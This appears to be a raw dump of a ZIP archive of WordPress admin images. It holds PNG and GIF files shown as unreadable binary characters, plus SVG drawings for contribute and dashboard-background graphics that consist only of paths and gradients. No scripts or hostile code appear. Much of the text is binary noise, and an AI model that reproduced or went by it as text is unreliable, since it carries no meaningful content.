�XC�,��h�|lQye��C��(�AR��F�1���Ima�{��B�u(�i*��0M�$)(��ֳI����a�[�R�9�)�p�@�o��-�LTy|qȂA�fR��TŶ�>�3��*���i�*�&:$2��ãϗ��g�A��(����>ǚkȐ��ָ�Q9&8d#W9"GX�3U�;[�O0�M�I�Ů᏶5�d��\��@�dK�u�ޯn �����	6�|����˗���W����a5$�%a6��$���*�"Q�(�zb���{a�;�uliH��Z�Hǀ��{E$2^�g��P�(Nm�Bt^��ɤ��%MSj�������Q+'���c��ȼ��[����MM���p��L��lbO�L����X`�g/�[[naXB�1�q���e�F��F#�3�c}l��OFhx��ƕ-�Z>�x�������!�� x�8�0� �b�Y�N��W�p�Z�HP���`F�w��;4�kJ*P�>0��v#VetX0п,�`�k��$Y��	tF4�J����������T,I�BCO�F�laHdR� 7�{
��́��ˤoK1Hf�>��7�/����d �L#����z�vۙN�N����}�~bą�k��k΢$�MY�:�0�ؠ(�UP�@3����UF` �2��j��
Ç�����֔�=X�`0�0�A7JU&Un�)�y�V�j���z_�d�z�G`8���F���8�"�i&I��`�s̑@�Ԉ<Q�<~��8E/2R��@�7�ܚL��{c]Ԯ��,���})�nբ�F"+ϕ����
��0�-V���u?’�#����ᇭe�Ɔ�	�ώ,�Y�<�Ltre�U�q�������S��U� �€��
�j�p@��AH}S�`T��Ñ�(����O{��yȰK@ K�I���.m3t�<դ�#�2%�=�iq��@�G�L��ꗎ���4U�����Ta΄!k���A���8��&�E�AQ��|v�'<�����i��w9�kK�u�A��:���ф��n{wV=��H\0��.�sO5$�����Lh�D�n���A�]��c�@+�zR��
�
.�*V�H��zp��YZYu\+I������N�IE���7�z�$�z��=�Z�E��tS���n'���WlT�w,H�����څq�!��q���쯠]�`��g\��뚆_gs~}'2`�L��j�ztV����&q��#Z0)BO�ɠGWȥJ=f}�8m�5
��X8���waE]6t<f3�Zi�5Qx<0�SP�-�2utd�s���$��|iI��H>5�)�����n�b���{N9������s��o`0=ݬ��X���`�`8hߗe�~"v��{�����z�04{BQM =t��\�{ɤ����+0!��"K�.H@�$k1aht�m�
�=Y K���0XQ����Cs3��N�	��r�p�� ^��y�Λz�������N��I����j}��34����n�m�tpL�x㻋$�;4�m������9���b��Fw{R��z�wC}�ԛ���N��~n��^��+����"Z�UT�ɪ�mEhKR�D�^-M3X04:�,^Ѱ/D�9N��a=f� ����꺴Z�J��X��04z������$����
Bt�"f�W�f/��ˍ&��U迴�
CH��M1�2٧�|_b��̴
�+3��'{r��
��L�曯�����Jc�a0���G�+���L�/U�N�T$?��MS� }�3�M�����OM��P�P�<�/d�đ�Q�O��ǜ�Q��'-�*�s��06D�/Uz�?�^�e0J8ڿ��1W�t���{=��yJ�Ό�. e٘ʠ�M�,���O;U����iݸ@�@�aK����eb����X�L�E��CT��N>:�S�d��,^����͓����r}��~`�2�)�d��ȠtNbJ[�^�atݰ�;� ñ�	z}7�쌻by�/^�1y�!_�שd���tbˀ\�՟=��,�7���
�k���My*�ms$��2(B%��N��H��7��*(Dv��3^�f�Z��L�Ep�Ł@��ӫlY��x\�}�L��m�%v�FW;I����\
�ƌ34zr�Y܌��l%<R,bF#Î���K��W��aW�R�S};3,\��$`�zxI!���~�?}�?O���T�r�J?�ݎN���͝�L"��ƌ=M�
�2�(48�Nզ1���K��4��u��pQ�p7���[�=6n����A���јyPE���~�t�6�2��2��aJc�Đ�(~���lw*^&Ew.i��q���u[��vf�i���*��E�4��㠕R�I�i
�=��n���R6]Ool�/^�ؙ��u{�2�8�Q_ Vy�%ɐ	��0�$_5�u��Iq*x[E}�R1#�W��ŢfY�P�ُ�<�jX�G,���&�!������jȓѝE�!��+��D�_…D��\�2D�2�]�����|Ȼ�2t���
+�l�ͩÞ~N�L�G�^W�C�wײ2��.$�_}�E�2�p!SV5*"6��a��>�eC�?��Β�20��V9A���r�V�cCO2<e+��{<vx�S���e���<f!�_R����퉖^;_��@�F�o�M� �`��Jv�g:���̘�r/遙�8���2�U��t��N�E�%�����gO.����3�(C"������j2���E����(�ʮ�o��M��Ly�����_��v�R��0��3��w�ߺkx��K�����>꺎QD�M��u�=U����L����^X��$���L�F�G�Nǖ��}o �B$�u��S��[M�q�]9¶iB�Õ��=���#ɰ��Kb��LA�e-<l�x��#E�t-<�q�l[b4�Á��;�T����=��E�e�S������Z��7�_�vsc����Ǘk��#G��-(����z�F�X,n����4�.��3(~ܱa4���m��]~6�#!S٭�b1�;99z��;ҿ����_�AdM���xwD�=�)�
'��A�~�IEND�B`�PK�y�ZU�D��list-2x.pngnu�[����PNG


IHDR�(N��bPLTEMMM���MMM���LLL]]]^^^^^^222333222MMM���}}}KKKzzz{{{HHHIIIMMMooovvv����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������?��#tRNS@BC\\^hs������������������`[
IDATX��XM�G���wm�׻Dam �DТ�H6q��S���o�$R��Cqa�H�����{��v�ݽ��tK�����{5=��ۖ2���#��R��D��Y�͓��{���ş#���~�I��_�
�y2z0y]@���7�7��_x�=~6���J�/^@��U|y��)+�vJ�<	0�[�^;_,󳫢|:��UK[G��<;�ye��OF��\,Ո��-����T,շ�.���@^~K����B'�^�{��V��a�`���N	ލ��]P��q-�L.�O��ڌ��R#�F嫍����M���$���|Uoɭ�t��Gv!�F ��*�����7�=JΘUz=[�\�
0.u���(v�={�Z��
˳� �����o��Iφ8tKnnb�*lE��i�$!/,���ȡ�a�����L/$ge��6�����G���j����ԂP�,��,��q��QbA�I�.-Ο��R9�AɅ�,��T4dk����A�vk��ZwB���.��:��q�gPQ<ݪ�����DL)^jr4�l��L�t��Ը8�S
�1��!��su�.�0ˍ@���'N�wȝ�,�jVp��&qv�rp���e��oߙ�`���篺���w�kCr~���Ⱦ?�'#���u�/�w���=���dy쌌�;���bg�Wɒ�X/��	4{6lV�gī~�k��=g��S؛�`LR���t�qq��N�mX�:��K����Ef�1I��WZof�Ba���1-�t�ŝi�Ԡ��S�%y�n��$�?��mD�f!�	�:�^a!�K��V��U�P��A)l0<��>bp<�*+t|����Aaf�ޘB�&����SB>�W���!���$�6z.��k�����R��5Ihu�}G�>�?r $.7I�〉�>�����������x��ԤQț(����UT�������G������=�) &�)���?�l�$�'�q��S�Z�����K�TI^�k��<Ny���޽	�IEND�B`�PK�y�Z��V��imgedit-icons.pngnu�[����PNG


IHDR@�h���PLTELiqUai���������ddd���;=?TWX���_eiUe\ddd`da���Sh{���������������lll������7kMkkkiiihhhfffL��=hO���������llliiiggg������M��hff<iNkjjjjjbfcdfe<iNBiQ���.jF������*iC������iiiL��?iOBjR=mQ���L��hggM�����gff���M����������󨨨0jG��˾��DkSiii������H�������������ս�����/hF����M��J��L�������������������Ҥ�����������M��������������N��fff{{{�g����t@����������ėRddd���������zBnll����֎�բ�ц������gca�����Ĺ�Yssshggkkk��ב��������������������������zb��l�����˸��_`_�����ڠoHywv&nC�ɶ���ѧ{\[o��Ŕc���T�p���XXZ���}}}ogڛ�����z�����ɗe��^]�yv������ۙȬsl�sf]`�ȅ���wQ�����̐�}o����ٗ�������î��jVHqX������a\���L��G���o3�иj�����B�\Q�NJ������~uwr����ܻ��uLɨ�̢Xda�̞p�`��yg�~���]�yD�a����U�iyw��nPXXc��qRRS�������ʺ��뒻�=�`���R�Ǒ������W;etRNS!	%3*
`EO$���~�w�Z�З���=���`�k�CP���~��>Պ�����r����������h���*��q\:��>��Ʒ�Ž�G�$~*IDATx��iX���N7� �@A�}���ݺU��2Ʉ�6)� !Hv�M� ���/�ԭ��Z��}��p�d3�̐A��c�03g���1�=�?��SN=+rA��p}����9r����7�!Æ6�y���2d��[��8|�񌀑gwP�ܹ�[-��z|�����gO��[U���Zu�n˞=�����4dA�������IX���o��� ��v���cG��#�N�9�����S'A��g������Y^&n-|��ש���	_&\���B�KA�K}}��p���;U'�@'��g�@�0F,���{O�9m*�`4 �0���S��vlBjIR�n[wގݖ�T��`�K
���Fqv��4נ�Jа������#�m�A��+WR�Z	ÿ�� G������nܸq�0��Pfr�ӧf�Zw~j�`�ȝIA�D��-׌S_�����r�۠q*�.{B����a���~�~��2��w�&�2���>��׸T����@H�HM5BHM�H+Ʈ��g��ŕ���8���9Sl��B+�E0��н�D�+*��U����Yd(Ԟ;�j�AD��|p��a�u�N3��ֱx
SS����B,P?�9Yu�@�
#����U'���P�o�,R�_��� �Wy%])J7�~"A�����_]��גl���{��`���Oiq�F�qi?a뇪c'�q@蛀��'�U
�R�u��ڵ�����C��;�[����I�}���� ��;�F*-��/7МH�����/S�A���A�]RhP�n���^�1�L���H�K�<GXC��Q�VZ�y鮂�v�w��"@?�UP���ABu`��1J` �,s,V�L��C�\7���N��W���[���=�����;>����J���{�_�5A�n��Ƀ���P��[12@�º�l�]	���^5CH��$3�W���1�J�̞}���Î��M���x���Z��s
J�Ŭ� ɀR�wG`���V�j(�l!�b	��o��悤�_no0��_��B8��t��b���#��}|Pt]ss��� !feGss]t�xw��?�f�1���K��V�����E��,�^d6
Br��Uߝ������� 1�%�H2z��u�H�EL��1An^nb\�R��
�+W�����bf��@�f|�-�9p��6�R�<�R�I����
��7�F�Bh9k�p���D����|��y9�lr.X"Ux����ΤQ �=��q4L�|�~]�;�Qh �:���Z"��w¹s8���؋I&]�#�cFO�{6��'垽�v[,?s���oa�[g��n;@4/dH���E[W���u���Ҁ9��~~��P,�.\�`�YlB�I	�?#z�è��5�IFI�5�DZesũ����---0wA�TE��p��ڟ]nVw��y͏1���熣;~ ޗ�&}�Q(����J��K�c\�8��h�uqM����B���:�kn�?�o�dw�@0F,�������L�vԋ�Vе�{�� 8���n�t~g��bb#ssp/�>�艣:;o�����_�K�W��|
 *�ض�ݍ�W^yz���
ўy�-w3��(�6�s�)���ӕv&F���X;�_�JO��kb��6U��&CX��}e�:YS�LW]֧�?S�����+�bE͈�Vs�B0ޫn�Ëb��\i����y�����y�<)(,$��+6�Z|���Е��F�����ܥ��֌"��ˣ��Z5H����y�^�Y0b�����"�JG�
�PȊ�@ t�#壨���E)�B{��p�:JI��^���ջ�B��}\�o�����"�a1	WZ���M��2�\i�|��9��t��H�2�|��zlΔx*j�`j��Sb�JG�r��(��t�gPn�!�Bz/��ˠ��!l���r*YT�B�g�}TS|}Q��ST>|��ɟ�g��7m��M�>ܸ��4�݆{T���Ǧ�W� ��6��>���*��P��	�:݁�V�%�0O4�K��T��eS���LY&qUa�������a#�l��n��Փ�m]i���J+������td�>��Z2��g�&11Q.��#�h��s�%�E5}�²頁���
��`	F�lE��֕�
�E9��WSRR|E<�B�<�/���{�����UR6�ń(z���X;I(�%K��h��%|�U�3���ii��1^M�ڹ�,�6��}s��x�ݻE��s���t¢�-�Er�Y�����Y�A!���#Wzl�)7/��%��Ʊv�t�X����-�G'̴M��L��l���
(�šd]iM�U6�Jg�@�, l"�(�ȁ+M�JG��"q�<oA�LV-
��c�V�de�y�"��Aڕր������&�����%l�c���-��t�y�i=^*3M��02�4�p]�L)��3�%Riu�o��R��{p�Y�̨��
=p&�K�:�m]A[��,���fl.��u���8}�z�5ԕ���8�=y=��(�w��CQWz|�"�o?������+Bƣ�t�w�@\��f�%��BG-4Iͩ ���F��k�EKQK��sUc�H�d��7�\5FƮZ��͵�Ɏ\�I^=c����$!O�J7��s@ۚ(���Wq dr�Ǜ��CTS:��){{�‚�o���b�%�4��U��/F�_�|�ʕ�i�\�0o�j
Ɔ[��{�=�+��РB!ȳ��O1��Q�t�[��%��b��
Oi��,??F��4<���cȊ%���Қ"��(��L�����.�Ek�Pk�\6�?�2})zxK�1@{���&�B�o'��c�Q�M��G�@(�=2�M�7F,�������ڃu�5�����''�q�Q��M���,ј�6�t�͕N�艣o*�����|_q��)@����Os���J;�SN9���?���c���IEND�B`�PK�y�Z��//contribute-code.svgnu�[���<svg width="290" height="290" viewBox="0 0 290 290" fill="none" xmlns="http://www.w3.org/2000/svg">
<g clip-path="url(#clip0_941_5647)">
<path d="M145 217.5C145.001 227.021 143.126 236.449 139.482 245.245C135.839 254.042 130.499 262.034 123.766 268.766C117.034 275.499 109.042 280.839 100.245 284.482C91.4488 288.126 82.021 290.001 72.5 290V232C74.4042 232 76.2898 231.625 78.0491 230.897C79.8083 230.168 81.4068 229.1 82.753 227.753C85.4716 225.033 86.9992 221.345 87 217.5H145Z" fill="#111111"/>
<path d="M0 217.5C0.00026521 198.272 7.63872 179.831 21.2351 166.235C34.8314 152.639 53.2719 145 72.5 145V203C70.5958 203 68.7102 203.375 66.951 204.103C65.1917 204.832 63.5933 205.9 62.247 207.247C60.9004 208.593 59.8322 210.192 59.1035 211.951C58.3748 213.71 57.9998 215.596 58 217.5H0Z" fill="#B1C5A4"/>
<path d="M58 217.5C58 225.508 64.492 232 72.5 232C80.508 232 87 225.508 87 217.5C87 209.492 80.508 203 72.5 203C64.492 203 58 209.492 58 217.5Z" fill="white"/>
<path d="M217.5 145C227.021 144.999 236.449 146.874 245.245 150.518C254.042 154.161 262.034 159.501 268.766 166.234C275.499 172.966 280.839 180.958 284.482 189.755C288.126 198.551 290.001 207.979 290 217.5H232C232 215.596 231.625 213.71 230.897 211.951C230.168 210.192 229.1 208.593 227.753 207.247C226.407 205.9 224.809 204.832 223.049 204.103C221.29 203.374 219.404 202.999 217.5 203V145Z" fill="#CFCABE"/>
<path d="M217.5 290C207.979 290 198.551 288.125 189.755 284.482C180.959 280.838 172.967 275.498 166.235 268.765C159.502 262.033 154.162 254.04 150.519 245.244C146.875 236.448 145 227.021 145 217.5H203C203 219.404 203.375 221.29 204.103 223.049C204.832 224.808 205.9 226.407 207.247 227.753C209.967 230.472 213.655 231.999 217.5 232V290Z" fill="#D8613C"/>
<path d="M203 218.5C203 226.508 209.492 233 217.5 233C225.508 233 232 226.508 232 218.5C232 210.492 225.508 204 217.5 204C209.492 204 203 210.492 203 218.5Z" fill="white"/>
<path d="M145 217.5C135.479 217.5 126.052 215.625 117.256 211.981C108.46 208.338 100.467 202.998 93.7345 196.266C87.0021 189.534 81.662 181.541 78.019 172.745C74.3755 163.949 72.5002 154.521 72.5 145H130.5C130.5 146.904 130.875 148.79 131.603 150.549C132.332 152.308 133.4 153.907 134.747 155.253C136.093 156.6 137.691 157.668 139.451 158.397C141.21 159.126 143.096 159.501 145 159.5V217.5Z" fill="#CFCABE"/>
<path d="M145 72.5C164.228 72.5 182.669 80.1384 196.265 93.7348C209.862 107.331 217.5 125.772 217.5 145H159.5C159.5 143.096 159.125 141.21 158.397 139.451C157.668 137.692 156.6 136.093 155.253 134.747C152.533 132.028 148.845 130.501 145 130.5V72.5Z" fill="#D8613C"/>
<path d="M130 145.5C130 153.508 136.492 160 144.5 160C152.508 160 159 153.508 159 145.5C159 137.492 152.508 131 144.5 131C136.492 131 130 137.492 130 145.5Z" fill="white"/>
<path d="M72.5 4.64119e-08C86.8392 -0.000512928 100.856 4.25128 112.779 12.2177C124.702 20.184 133.994 31.5072 139.481 44.755C143.125 53.5512 145 62.979 145 72.5H87C87 68.6544 85.4723 64.9662 82.7531 62.247C80.0338 59.5277 76.3456 58 72.5 58V4.64119e-08Z" fill="#CFCABE"/>
<path d="M72.5 145C62.9791 145 53.5514 143.125 44.7553 139.482C35.9592 135.838 27.967 130.498 21.235 123.765C14.5027 117.033 9.16233 109.041 5.51882 100.244C1.87531 91.4484 9.06827e-06 82.0208 0 72.5H58C58.0005 76.3455 59.5284 80.0333 62.2475 82.7525C64.9667 85.4716 68.6545 86.9995 72.5 87V145Z" fill="#D8613C"/>
<path d="M58 72.5C58 80.508 64.492 87 72.5 87C80.508 87 87 80.508 87 72.5C87 64.492 80.508 58 72.5 58C64.492 58 58 64.492 58 72.5Z" fill="white"/>
<path d="M145 72.5C145 62.9791 146.875 53.5514 150.518 44.7553C154.162 35.9592 159.502 27.9669 166.235 21.235C172.967 14.5022 180.959 9.16152 189.755 5.51798C198.551 1.87443 207.979 -0.000589261 217.5 1.38912e-07V58C213.655 58.0005 209.967 59.5284 207.248 62.2475C204.528 64.9667 203.001 68.6545 203 72.5H145Z" fill="#B1C5A4"/>
<path d="M290 72.5C290.001 82.021 288.126 91.4488 284.482 100.245C280.839 109.042 275.499 117.034 268.766 123.766C262.034 130.499 254.042 135.839 245.245 139.482C236.449 143.126 227.021 145.001 217.5 145V87C221.346 87 225.034 85.4723 227.753 82.7531C230.472 80.0338 232 76.3456 232 72.5H290Z" fill="#111111"/>
<path d="M203 72.5C203 80.508 209.492 87 217.5 87C225.508 87 232 80.508 232 72.5C232 64.492 225.508 58 217.5 58C209.492 58 203 64.492 203 72.5Z" fill="white"/>
</g>
<defs>
<clipPath id="clip0_941_5647">
<rect width="290" height="290" fill="white"/>
</clipPath>
</defs>
</svg>
PK�y�Z�go��
arrows.pngnu�[����PNG


IHDR{YKǮ$PLTE�����������������������������������"tRNS*CQ����}7n5sIDAT8Oc` 
Ttu�޻w;�l��A��fO�*��2��f���~��,|�!Cx���y�w(��B�Ά0�W�ޅ*�P��5
���m
P��ɵ{�bT��.�=�m4�vwIEND�B`�PK�y�Z�Q�mmpost-formats.pngnu�[����PNG


IHDR0!9h4IDATh��kl��Oժ4��@��8�]�6����@JQy�-Aj��f�|�]�E��D�����mS���&��WM�N�CH�ر�]{�?ⵝ�����ήw
T�֝�4s���{�=s�f�Y���X����vഖ5D9��W:�2�w4@���|��a�$Q�}�p�v��}@7Q� �~�G�^9����	4+:�\� Ňt�AS���X�?�g���t��܃�}�`���[��G�-�X����û�!�G����J�!+d�F�x��$�X�AkY�dY��W�kfȦ�����6�En�:�F����E�PΓ�ɧ}���
��!f����p��9z�MM즧Hg`�~�褓&�裏���:l&`����N����06660N�(�YC�C��m��@ʧ.����i�f��N������m�� �
r���L9�ي�ُ���Ȧ̒�e���<�J��:����*�'52GΗYպ�w���Ɛ�$���h�9�	B��Bu�:	�����(lA���`6b��<p�լ���n�@��`�����8Tֱ���� D�L��O
�_(��<�!��4D�ɘ����U�
��j���Z�~�~��U�T�:�F���y�Ml��(G�EQ�����4�[��F¬%�V�T)���v�I=��j����WL��BO
CJUp�6>��Q�_}ƤѢ�\�c�5l����,1v��ҋdH�
#��fz1b$�h�X�
ϐ&Ë/���5��b%�}p��1f�2��+F�1e��(�(?7�	���e�߷SObHz�`c��f�k�O�պ�E@pI�?HY�� �������~D��YK��9CD���!2e�:�VQ�W��C�c�ޠ�k+Đ�il���|��+� ��1�@f�U���M,�0Bҕ��I���1/j�W8�ݍ�qθ�F�k�a<L1QVSy���%�Kd�,�d��*w�]r��*��Y(s�j]T�@/ֽ�z�bD���9�c9G�(�1�ib�&F����I7���{i��Z�%�&�ĉ���ӅN��v��j�H�o�Ј6t�y�(k�4��c�ۍG]���4�4=�e?����D�=���ɑ&E�4IR����=^�q�hѢ�ӟѢ�x4���nNPP��]�XO�v��
��uzxOV3C��u��79GΓ9r�|Y.���2G�$�˥�y9W>��uQ��J��]"�#�Jе:y�l�Ou�褮u�H��2�j�qrD�Hg9�9�:�z��&�H�,�:[�<�*Nq�U�kHg须D=�!"Q&���颇I_�t2:m�QtR/�/T���L�BetD�~�\�'�~b& G�t�nu{)ۃn�m3��,|UxQ�����w��^��‹�W��XQ�.���7���j���G*����r�#Dif;[��v��'����9�T�����m��Qv�&�0Y�Ĉ��~#��q�l�`'�i�}N����E�XY"�8���Ҍ���&��9:hfG�1��u7H�u�\wC�d��q�"5	Df�r�\!�:��:�N�r�\ ��uQ�;@]�������[��[��TZ=�=� �2�:�U_��>� jk���uﳈ������EQ/wb����,��#�FeTD]�Pb�?��8��_uI�E�ΐ�#���-��|���C�ETM�EԱ㜠���%Q��܇L0�ԓ%A�RծFՐ����;Q�壳��vv��~����o�yw�-�n`_�d ���U�`���Mf�L�s~�\T�|�8��R�4�thίO�2�`n,"[���y#<�f�H�����%f]��1��dŘE?=4ƖǷ�3R�|�V.Di�U�S�2k}[1�a�$�M�\��{�7�pݹcfƌ�D���.v�H��n��h%�H�Yo�!�Ŋ1�ҙ"fz�̺�%��F��̔��̤i���[�;f���B����A�Sfm)P[�le�1Z݉Q�t����6�t쎶y��[r��(��B�+52G.����ΥIEND�B`�PK�y�Z��'HHcontribute-no-code.svgnu�[���<svg width="290" height="290" viewBox="0 0 290 290" fill="none" xmlns="http://www.w3.org/2000/svg">
<g clip-path="url(#clip0_941_5579)">
<path d="M290 217.5C290.001 227.021 288.126 236.449 284.482 245.245C280.839 254.042 275.499 262.034 268.766 268.766C262.034 275.499 254.042 280.839 245.245 284.482C236.449 288.126 227.021 290.001 217.5 290V232C219.404 232 221.29 231.625 223.049 230.897C224.808 230.168 226.407 229.1 227.753 227.753C229.1 226.407 230.168 224.808 230.897 223.049C231.625 221.29 232 219.404 232 217.5H290Z" fill="#D8613C"/>
<path d="M145 217.5C145 207.979 146.875 198.551 150.518 189.755C154.162 180.959 159.502 172.967 166.235 166.235C172.967 159.502 180.96 154.162 189.756 150.519C198.552 146.875 207.979 145 217.5 145V203C215.596 203 213.71 203.375 211.951 204.103C210.192 204.832 208.593 205.9 207.247 207.247C204.528 209.967 203.001 213.655 203 217.5H145Z" fill="#B1C5A4"/>
<path d="M217.5 145C227.021 145 236.448 146.875 245.244 150.519C258.492 156.005 269.816 165.298 277.783 177.22C285.749 189.143 290.001 203.161 290 217.5H232C232 215.596 231.625 213.71 230.897 211.951C230.168 210.192 229.1 208.593 227.753 207.247C226.407 205.9 224.809 204.832 223.049 204.103C221.29 203.374 219.404 202.999 217.5 203V145Z" fill="#111111"/>
<path d="M217.5 290C207.979 290.001 198.551 288.126 189.755 284.482C180.958 280.839 172.966 275.499 166.234 268.766C159.501 262.034 154.161 254.042 150.518 245.245C146.874 236.449 144.999 227.021 145 217.5H203C203 219.404 203.375 221.29 204.103 223.049C204.832 224.808 205.9 226.407 207.247 227.753C208.593 229.1 210.191 230.168 211.951 230.897C213.71 231.626 215.596 232.001 217.5 232V290Z" fill="#CFCABE"/>
<path d="M203 217.5C203 225.508 209.492 232 217.5 232C225.508 232 232 225.508 232 217.5C232 209.492 225.508 203 217.5 203C209.492 203 203 209.492 203 217.5Z" fill="white"/>
<path d="M72.5 145C82.02 145 91.448 146.875 100.244 150.519C109.04 154.162 117.033 159.502 123.766 166.234C130.498 172.966 135.838 180.959 139.481 189.755C143.125 198.551 145 207.979 145 217.5H72.5V145Z" fill="#CFCABE"/>
<path d="M72.5078 290C53.28 289.999 34.8398 282.361 21.2428 268.766C7.64708 255.169 0.00877388 236.728 0.0078125 217.5L72.5078 217.501V290Z" fill="#111111"/>
<path d="M4.64119e-08 218.5C-0.000512928 204.161 4.25128 190.144 12.2177 178.221C20.184 166.298 31.5072 157.006 44.755 151.519C53.5512 147.875 62.979 146 72.5 146V204C70.5958 204 68.7102 204.375 66.9509 205.103C65.1917 205.832 63.5932 206.9 62.247 208.247C60.9004 209.593 59.8322 211.192 59.1035 212.951C58.3748 214.71 57.9998 216.596 58 218.5H4.64119e-08Z" fill="#B1C5A4"/>
<path d="M145 217.5C145 227.021 143.125 236.449 139.482 245.245C135.838 254.041 130.498 262.033 123.765 268.765C117.033 275.498 109.041 280.838 100.245 284.482C91.4487 288.126 82.0209 290.001 72.5 290V232C74.4042 232 76.2898 231.625 78.049 230.897C79.8083 230.168 81.4067 229.1 82.753 227.753C84.0996 226.407 85.1678 224.808 85.8965 223.049C86.6252 221.29 87.0002 219.404 87 217.5H145Z" fill="#D8613C"/>
<path d="M58 218.5C58 226.508 64.492 233 72.5 233C80.508 233 87 226.508 87 218.5C87 210.492 80.508 204 72.5 204C64.492 204 58 210.492 58 218.5Z" fill="white"/>
<path d="M72.5 0C91.728 0.000530407 110.168 7.63907 123.765 21.2353C137.361 34.8316 144.999 53.272 145 72.5H72.5V0Z" fill="#111111"/>
<path d="M0 72.5C0 53.2718 7.63837 34.8311 21.2348 21.2348C34.8311 7.63837 53.2718 0 72.5 0V58C68.6544 58 64.9662 59.5277 62.247 62.247C59.5277 64.9662 58 68.6544 58 72.5H0Z" fill="#D8613C"/>
<path d="M72.5 145C62.9791 145 53.5514 143.125 44.7552 139.482C35.9591 135.838 27.9669 130.498 21.235 123.765C14.5023 117.033 9.16167 109.041 5.51813 100.245C1.87459 91.4486 -0.000480479 82.0209 9.23526e-08 72.5H58C58 76.3456 59.5277 80.0338 62.247 82.7531C64.9662 85.4723 68.6544 87 72.5 87V145Z" fill="#CFCABE"/>
<path d="M145 72.5C145 82.0209 143.125 91.4486 139.482 100.245C135.838 109.041 130.498 117.033 123.765 123.765C117.033 130.498 109.041 135.839 100.245 139.482C91.4487 143.126 82.0209 145.001 72.5 145V87C74.4043 87.0004 76.29 86.6256 78.0494 85.8971C79.8088 85.1685 81.4074 84.1005 82.7539 82.7539C84.1005 81.4074 85.1685 79.8088 85.8971 78.0494C86.6256 76.29 87.0004 74.4043 87 72.5H145Z" fill="#B1C5A4"/>
<path d="M58 72.5C58 80.508 64.492 87 72.5 87C80.508 87 87 80.508 87 72.5C87 64.492 80.508 58 72.5 58C64.492 58 58 64.492 58 72.5Z" fill="white"/>
<path d="M290 72.5C290.001 82.021 288.126 91.4488 284.482 100.245C280.839 109.042 275.499 117.034 268.766 123.766C262.034 130.499 254.042 135.839 245.245 139.482C236.449 143.126 227.021 145.001 217.5 145V87C221.346 87 225.034 85.4723 227.753 82.7531C230.472 80.0338 232 76.3456 232 72.5H290Z" fill="#D8613C"/>
<path d="M145 72.5C145 62.9791 146.875 53.5514 150.518 44.7553C154.162 35.9592 159.502 27.9669 166.235 21.235C172.967 14.5022 180.959 9.16152 189.755 5.51798C198.551 1.87443 207.979 -0.000589261 217.5 1.38912e-07V58C213.655 58.0005 209.967 59.5284 207.248 62.2475C204.528 64.9667 203.001 68.6545 203 72.5H145Z" fill="#B1C5A4"/>
<path d="M217.5 4.64119e-08C231.839 -0.000512928 245.856 4.25128 257.779 12.2177C269.702 20.184 278.994 31.5072 284.481 44.755C288.125 53.5512 290 62.979 290 72.5H232C232 70.5958 231.625 68.7102 230.897 66.9509C230.168 65.1917 229.1 63.5932 227.753 62.247C225.033 59.5286 221.345 58.001 217.5 58V4.64119e-08Z" fill="#CFCABE"/>
<path d="M203 72.5C203 80.508 209.492 87 217.5 87C225.508 87 232 80.508 232 72.5C232 64.492 225.508 58 217.5 58C209.492 58 203 64.492 203 72.5Z" fill="white"/>
<path d="M73 145.5C73 126.272 80.6384 107.831 94.2348 94.2348C107.831 80.6384 126.272 73 145.5 73V131C143.596 131 141.71 131.375 139.951 132.103C138.192 132.832 136.593 133.9 135.247 135.247C132.528 137.967 131.001 141.655 131 145.5H73Z" fill="#D8613C"/>
<path d="M145.5 73C164.728 73.0005 183.168 80.6391 196.765 94.2353C210.361 107.832 217.999 126.272 218 145.5H160C160 143.596 159.625 141.71 158.897 139.951C158.168 138.192 157.1 136.593 155.753 135.247C154.407 133.9 152.808 132.832 151.049 132.103C149.29 131.375 147.404 131 145.5 131V73Z" fill="#CFCABE"/>
<path d="M218 145.5C218.001 155.021 216.126 164.449 212.482 173.245C208.839 182.042 203.499 190.034 196.766 196.766C190.034 203.499 182.042 208.839 173.245 212.482C164.449 216.126 155.021 218.001 145.5 218V160C147.404 160 149.29 159.625 151.049 158.897C152.808 158.168 154.407 157.1 155.753 155.753C157.1 154.407 158.168 152.808 158.897 151.049C159.625 149.29 160 147.404 160 145.5H218Z" fill="#111111"/>
<path d="M131 145.5C131 153.508 137.492 160 145.5 160C153.508 160 160 153.508 160 145.5C160 137.492 153.508 131 145.5 131C137.492 131 131 137.492 131 145.5Z" fill="white"/>
</g>
<defs>
<clipPath id="clip0_941_5579">
<rect width="290" height="290" fill="white"/>
</clipPath>
</defs>
</svg>
PK�y�Z	�4h��resize-rtl-2x.gifnu�[���GIF89a��������ڳ����������!�,@[Hr��u��ڹ6��f��]Eu�%3��ڒ'7��=�2l��@H� �xd��e� MJo�SY�m�\&L�"�k7+n��k�o3�i�:;PK�y�Z�t��

dashboard-background.svgnu�[���<svg preserveAspectRatio="xMidYMin slice" fill="none" viewBox="0 0 1232 240" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">
  <g clip-path="url(#a)">
    <path fill="#151515" d="M0 0h1232v240H0z"/>
    <ellipse cx="616" cy="232" fill="url(#b)" opacity=".05" rx="1497" ry="249"/>
    <mask id="d" width="1000" height="400" x="232" y="20" maskUnits="userSpaceOnUse" style="mask-type:alpha">
      <path fill="url(#c)" d="M0 0h1000v400H0z" transform="translate(232 20)"/>
    </mask>
    <g stroke-width="2" mask="url(#d)">
      <path stroke="url(#e)" d="M387 20v1635"/>
      <path stroke="url(#f)" d="M559.5 20v1635"/>
      <path stroke="url(#g)" d="M732 20v1635"/>
      <path stroke="url(#h)" d="M904.5 20v1635"/>
      <path stroke="url(#i)" d="M1077 20v1635"/>
    </g>
  </g>
  <defs>
    <linearGradient id="e" x1="387.5" x2="387.5" y1="20" y2="1655" gradientUnits="userSpaceOnUse">
      <stop stop-color="#3858E9" stop-opacity="0"/>
      <stop offset=".297" stop-color="#3858E9"/>
      <stop offset=".734" stop-color="#3858E9"/>
      <stop offset="1" stop-color="#3858E9" stop-opacity="0"/>
      <stop offset="1" stop-color="#3858E9" stop-opacity="0"/>
    </linearGradient>
    <linearGradient id="f" x1="560" x2="560" y1="20" y2="1655" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FFFCB5" stop-opacity="0"/>
      <stop offset="0" stop-color="#FFFCB5" stop-opacity="0"/>
      <stop offset=".297" stop-color="#FFFCB5"/>
      <stop offset=".734" stop-color="#FFFCB5"/>
      <stop offset="1" stop-color="#FFFCB5" stop-opacity="0"/>
    </linearGradient>
    <linearGradient id="g" x1="732.5" x2="732.5" y1="20" y2="1655" gradientUnits="userSpaceOnUse">
